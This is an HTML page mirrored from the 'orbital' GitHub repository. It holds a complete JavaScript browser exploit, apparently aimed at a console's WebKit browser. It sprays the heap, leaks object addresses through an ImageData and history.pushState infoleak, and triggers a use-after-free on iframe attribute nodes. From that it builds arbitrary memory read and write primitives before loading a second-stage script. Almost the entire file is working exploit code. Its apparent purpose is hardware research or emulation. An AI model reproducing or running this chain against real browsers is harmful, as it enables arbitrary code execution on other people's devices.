mirror of
https://github.com/AlexAltea/orbital.git
synced 2025-04-02 10:32:05 -04:00
369 lines
9.7 KiB
HTML
369 lines
9.7 KiB
HTML
<html>
|
|
<body>
|
|
<style>
|
|
body {
|
|
overflow: hidden;
|
|
position: fixed;
|
|
position: relative;
|
|
}
|
|
h1{
|
|
overflow: hidden;
|
|
position: fixed;
|
|
position: absolute;
|
|
top: 40%;
|
|
left: 50%;
|
|
transform: translate(-50%, -50%);
|
|
}
|
|
|
|
footer {
|
|
position: absolute;
|
|
left: 0;
|
|
bottom: 0;
|
|
height: 40px;
|
|
width: 100%;
|
|
overflow:hidden;
|
|
}
|
|
|
|
</style>
|
|
|
|
<script>
|
|
function makeid()
|
|
{
|
|
var text = "";
|
|
var possible = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789";
|
|
|
|
for( var i=0; i < 8; i++ )
|
|
text += possible.charAt(Math.floor(Math.random() * possible.length));
|
|
|
|
return text;
|
|
};
|
|
var instancespr = [];
|
|
for(var i=0; i<2048; i++)
|
|
{
|
|
instancespr[i] = {};
|
|
instancespr[i][makeid()] = 50057; /* spray 4-field Object InstanceIDs */
|
|
}
|
|
for(var i=2048; i<4096; i++)
|
|
{
|
|
instancespr[i] = new Uint32Array(1);
|
|
instancespr[i][makeid()] = 50057; /* spray 4-field Object InstanceIDs */
|
|
}
|
|
|
|
var _dview;
|
|
function u2d(low, hi) {
|
|
if (!_dview) _dview = new DataView(new ArrayBuffer(16));
|
|
_dview.setUint32(0, hi);
|
|
_dview.setUint32(4, low);
|
|
return _dview.getFloat64(0);
|
|
}
|
|
|
|
function int64(low,hi) {
|
|
this.low = (low>>>0);
|
|
this.hi = (hi>>>0);
|
|
this.add32inplace = function(val) {
|
|
var new_lo = (((this.low >>> 0) + val) & 0xFFFFFFFF) >>> 0;
|
|
var new_hi = (this.hi >>> 0);
|
|
if (new_lo < this.low) {
|
|
new_hi++;
|
|
}
|
|
this.hi=new_hi;
|
|
this.low=new_lo;
|
|
}
|
|
this.add32 = function(val) {
|
|
var new_lo = (((this.low >>> 0) + val) & 0xFFFFFFFF) >>> 0;
|
|
var new_hi = (this.hi >>> 0);
|
|
if (new_lo < this.low) {
|
|
new_hi++;
|
|
}
|
|
return new int64(new_lo, new_hi);
|
|
}
|
|
this.sub32 = function(val) {
|
|
var new_lo = (((this.low >>> 0) - val) & 0xFFFFFFFF) >>> 0;
|
|
var new_hi = (this.hi >>> 0);
|
|
if (new_lo > (this.low) & 0xFFFFFFFF) {
|
|
new_hi--;
|
|
}
|
|
return new int64(new_lo, new_hi);
|
|
}
|
|
this.sub32inplace = function(val) {
|
|
var new_lo = (((this.low >>> 0) - val) & 0xFFFFFFFF) >>> 0;
|
|
var new_hi = (this.hi >>> 0);
|
|
if (new_lo > (this.low) & 0xFFFFFFFF) {
|
|
new_hi--;
|
|
}
|
|
this.hi=new_hi;
|
|
this.low=new_lo;
|
|
}
|
|
this.and32 = function(val) {
|
|
var new_lo = this.low & val;
|
|
var new_hi = this.hi;
|
|
return new int64(new_lo, new_hi);
|
|
}
|
|
this.and64 = function(vallo, valhi) {
|
|
var new_lo = this.low & vallo;
|
|
var new_hi = this.hi & valhi;
|
|
return new int64(new_lo, new_hi);
|
|
}
|
|
this.toString = function(val) {
|
|
val = 16; // eh
|
|
var lo_str = (this.low >>> 0).toString(val);
|
|
var hi_str = (this.hi >>> 0).toString(val);
|
|
if(this.hi == 0) return lo_str;
|
|
else {
|
|
lo_str = zeroFill(lo_str, 8)
|
|
}
|
|
return hi_str+lo_str;
|
|
}
|
|
this.toPacked = function() {
|
|
return {hi: this.hi, low: this.low};
|
|
}
|
|
this.setPacked = function(pck) {
|
|
this.hi=pck.hi;
|
|
this.low=pck.low;
|
|
return this;
|
|
}
|
|
|
|
return this;
|
|
}
|
|
|
|
function zeroFill( number, width )
|
|
{
|
|
width -= number.toString().length;
|
|
if ( width > 0 )
|
|
{
|
|
return new Array( width + (/\./.test( number ) ? 2 : 1) ).join( '0' ) + number;
|
|
}
|
|
return number + ""; // always return a string
|
|
}
|
|
var nogc=[];
|
|
|
|
/*
|
|
Step 1: Infoleak
|
|
*/
|
|
for (var i=0; i<0x4000; i++)
|
|
{
|
|
nogc.push({a:0,b:0,c:0,d:0})
|
|
}
|
|
var tgt = {a:0,b:0,c:0,d:0};
|
|
for (var i=0; i<0x400; i++)
|
|
{
|
|
nogc.push({a:0,b:0,c:0,d:0})
|
|
}
|
|
var y = new ImageData(1, 0x4000);
|
|
postMessage("", "*", [y.data.buffer]);
|
|
var props = {};
|
|
for (var i=0; i<0x4000/(2); )
|
|
{
|
|
props[i++] = {value:0x42424242};
|
|
props[i++] = {value:tgt};
|
|
}
|
|
var foundleak = undefined;
|
|
var foundidx = 0;
|
|
var maxcnt = 256;
|
|
while (foundleak == undefined && maxcnt != 0)
|
|
{
|
|
maxcnt--;
|
|
history.pushState(y,"");
|
|
|
|
Object.defineProperties({}, props);
|
|
var leak = new Uint32Array(history.state.data.buffer);
|
|
for (var i=0; i < leak.length - 6; i++)
|
|
{
|
|
if (leak[i] == 0x42424242 && leak[i+1] == 0xffff0000 &&
|
|
leak[i+2] == 0 && leak[i+3] == 0 && leak[i+4] == 0 && leak[i+5] == 0 &&
|
|
leak[i+6] == 14 && leak[i+7] == 0 && leak[i+10] == 0 && leak[i+11] == 0 && leak[i+12] == 0 && leak[i+13] == 0 && leak[i+14] == 14 && leak[i+15] == 0)
|
|
{
|
|
foundidx = i;
|
|
foundleak = leak;
|
|
break;
|
|
}
|
|
}
|
|
}
|
|
if (!foundleak)
|
|
{
|
|
alert("couldn't infoleak :(")
|
|
throw "infoleak fail";
|
|
}
|
|
var firstleak = Array.prototype.slice.call(foundleak, foundidx, foundidx+ 64);
|
|
|
|
var leakval = new int64(firstleak[8], firstleak[9]);
|
|
leakval.toString();
|
|
for (var i=0; i<0x4000; i++)
|
|
{
|
|
var lol = {a:0,b:0,c:0,d:0};
|
|
}
|
|
|
|
var dgc = function() {
|
|
for (var i = 0; i < 0x100; i++) {
|
|
new ArrayBuffer(0x100000);
|
|
}
|
|
}
|
|
|
|
|
|
|
|
function exploit() {
|
|
var src = document.createAttribute('src');
|
|
src.value = 'javascript:parent.callback()';
|
|
|
|
var d = document.createElement('div');
|
|
|
|
for (var i=0; i<4096; i++) nogc.push(document.createElement('iframe'));
|
|
var f = document.body.appendChild(document.createElement('iframe'));
|
|
for (var i=0; i<4096; i++) nogc.push(document.createElement('iframe'));
|
|
var objsz=0x90;
|
|
var objspray=0x10000;
|
|
var objs = new Array(objspray);
|
|
window.callback = () => {
|
|
window.callback = null;
|
|
|
|
d.setAttributeNodeNS(src);
|
|
f.setAttributeNodeNS(document.createAttribute('src'));
|
|
};
|
|
|
|
f.name = "lol";
|
|
f.setAttributeNodeNS(src);
|
|
f.remove();
|
|
|
|
f = null;
|
|
src = null;
|
|
nogc.length=0;
|
|
dgc();
|
|
|
|
for (var i=0; i<objspray; i++)
|
|
{
|
|
objs[i] = new ImageData(1,0x90/4);
|
|
}
|
|
for (var i=0; i<objspray; i++)
|
|
{
|
|
objs[i] = new Uint32Array(objs[i].data.buffer);
|
|
}
|
|
|
|
var craftptr = leakval.sub32(0x10000 - 0x10)
|
|
tgt.b = u2d(0,craftptr.low); // 0x10000 is offset due to double encoding
|
|
tgt.c = craftptr.hi;
|
|
tgt.a = u2d(2048, 0x1602300);
|
|
|
|
for (var i=0; i<objspray; i++)
|
|
{
|
|
objs[i][2] = leakval.low + 0x18 + 4;
|
|
objs[i][3] = leakval.hi;
|
|
}
|
|
|
|
var stale = d.attributes[0].ownerElement;
|
|
var master = new Uint32Array(0x1000);
|
|
var slave = new Uint32Array(0x1000);
|
|
var leakval_u32 = new Uint32Array(0x1000);
|
|
var leakval_helper = [slave,2,3,4,5,6,7,8,9,10];
|
|
|
|
tgt.a = u2d(4096, 0x1602300);
|
|
tgt.b = 0;
|
|
tgt.c = leakval_helper;
|
|
tgt.d = 0x1337;
|
|
|
|
var butterfly = new int64(stale[2], stale[3]);
|
|
tgt.c = leakval_u32;
|
|
var lkv_u32_old = new int64(stale[4], stale[5]);
|
|
|
|
stale[4] = butterfly.low;
|
|
stale[5] = butterfly.hi;
|
|
|
|
tgt.c = master;
|
|
stale[4] = leakval_u32[0];
|
|
stale[5] = leakval_u32[1];
|
|
|
|
var addr_to_slavebuf = new int64(master[4], master[5]);
|
|
tgt.c = leakval_u32;
|
|
stale[4] = lkv_u32_old.low;
|
|
stale[5] = lkv_u32_old.hi;
|
|
|
|
for (var i=0; i<objspray; i++)
|
|
{
|
|
objs[i][2] =0x41414141;
|
|
objs[i][3] =0xffff0000;
|
|
}
|
|
|
|
tgt.c = 0;
|
|
stale = 0;
|
|
|
|
var prim = {
|
|
write8: function(addr, val)
|
|
{
|
|
master[4] = addr.low;
|
|
master[5] = addr.hi;
|
|
if (val instanceof int64)
|
|
{
|
|
slave[0] = val.low;
|
|
slave[1] = val.hi;
|
|
} else
|
|
{
|
|
slave[0] = val;
|
|
slave[1] = 0;
|
|
}
|
|
master[4] = addr_to_slavebuf.low;
|
|
master[5] = addr_to_slavebuf.hi;
|
|
},
|
|
write4: function(addr, val)
|
|
{
|
|
master[4] = addr.low;
|
|
master[5] = addr.hi;
|
|
slave[0] = val;
|
|
master[4] = addr_to_slavebuf.low;
|
|
master[5] = addr_to_slavebuf.hi;
|
|
},
|
|
read8: function(addr)
|
|
{
|
|
master[4] = addr.low;
|
|
master[5] = addr.hi;
|
|
var rtv = new int64(slave[0], slave[1]);
|
|
master[4] = addr_to_slavebuf.low;
|
|
master[5] = addr_to_slavebuf.hi;
|
|
return rtv;
|
|
},
|
|
read4: function(addr)
|
|
{
|
|
master[4] = addr.low;
|
|
master[5] = addr.hi;
|
|
var rtv = slave[0];
|
|
master[4] = addr_to_slavebuf.low;
|
|
master[5] = addr_to_slavebuf.hi;
|
|
return rtv;
|
|
},
|
|
leakval: function(jsval)
|
|
{
|
|
leakval_helper[0] = jsval;
|
|
var rtv = this.read8(butterfly);
|
|
this.write8(butterfly, new int64(0x41414141, 0xffffffff));
|
|
|
|
return rtv;
|
|
},
|
|
createval: function(jsval)
|
|
{
|
|
this.write8(butterfly, jsval);
|
|
var rt = leakval_helper[0];
|
|
this.write8(butterfly, new int64(0x41414141, 0xffffffff));
|
|
return rt;
|
|
}
|
|
};
|
|
document.body.removeChild(document.getElementById("center"))
|
|
window.primitives = prim;
|
|
setTimeout(function(){
|
|
sc = document.createElement("script");
|
|
sc.src="post.js";
|
|
document.body.appendChild(sc);
|
|
}, 100);
|
|
}
|
|
function escapeHtml(unsafe) {
|
|
return unsafe
|
|
.replace(/&/g, "&")
|
|
.replace(/</g, "<")
|
|
.replace(/>/g, ">")
|
|
.replace(/"/g, """)
|
|
.replace(/'/g, "'");
|
|
}
|
|
|
|
</script>
|
|
<script src=post.js></script>
|
|
<pre id="console"></pre>
|
|
<center id="center"><h1><a href=javascript:exploit()>go</a></h1></center>
|
|
</body>
|
|
</html>
|